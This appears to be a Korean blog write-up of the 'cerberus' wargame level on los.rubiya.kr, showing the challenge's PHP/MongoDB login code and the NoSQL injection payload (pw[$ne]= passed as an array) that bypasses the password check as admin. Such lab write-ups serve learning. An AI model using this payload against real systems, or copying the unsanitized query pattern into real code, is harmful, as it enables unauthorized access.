웹찢남

cerberus-writeup 본문

WEB_HACKING/los.rubiya.kr

cerberus-writeup

harry595 2020. 1. 31. 22:01


<?php
  
include "./config.php";
  
login_chk();
  
$db mongodb_connect();
  
$query = array(
    
"id" => $_GET['id'],
    
"pw" => $_GET['pw']
  );
  echo 
"<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
  
$result mongodb_fetch_array($db->prob_cerberus->find($query));
  if(
$result['id']) echo "<h2>Hello {$result['id']}</h2>";
  if(
$result['id'] === "admin"solve("cerberus");
  
highlight_file(__FILE__);
?>

 

산넘어 산이라고 이번엔 몽고db다...

몽고db는 지금까지 풀어온 것과는 다르게 NoSQL이란다.

그래서 문법도 많이 다른거 같다. 몽고db를 다뤄본적이 없어서 일단 구글링!

 

https://tribal1012.tistory.com/138

 

NOSQL Injection from MongoDB

NOSQL 개요 NOSQL은 Not Only SQL의 약자로 비관계형 DB를 말한다. SQL은 DB에 Table을 만든 후, Column이라는 데이터가 내포한 의미를 나타내는 키워드를 사용한 관계형 DB이지만, NOSQL은 비관계형 DB이기 때문..

tribal1012.tistory.com

기본적인 문법과 $ne는 not equal 이라는 것을 배운 후

?id=admin&pw={$ne:%27%27} 의 payload를 던져봤는데 역시! 안된다 ㅎ... 

addslashes 같은 필터링이 들어있는지... 그후 해당 티스토리를 자세히 본 결과... 

 

pw에 {$ne:"haha"}를 넣어보면 위처럼 실패하는 것을 볼 수 있는데, 입력한 pw가 그대로 string으로 들어가게 되어 실패하였다. pw를 문자열(string)이 아닌 배열(array)로 넣어주자.
출처: https://tribal1012.tistory.com/138 [Trillion]

 

위와 같은 문단이 있었다. ne를 string 형태로 넣는게 아니라 배열의 형태로 넣을 수 있단다!

 

https://los.rubiya.kr/chall/cerberus_39f611f3642be62b883da79f092c876d.php?id=admin&pw[$ne]=

 

CLEAR!!!

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

Incubus-writeup  (0) 2020.01.31
siren-writeup  (0) 2020.01.31
Kraken-writeup  (0) 2020.01.31
mummy-writeup  (0) 2020.01.31
yeti-writeup  (0) 2020.01.31
Comments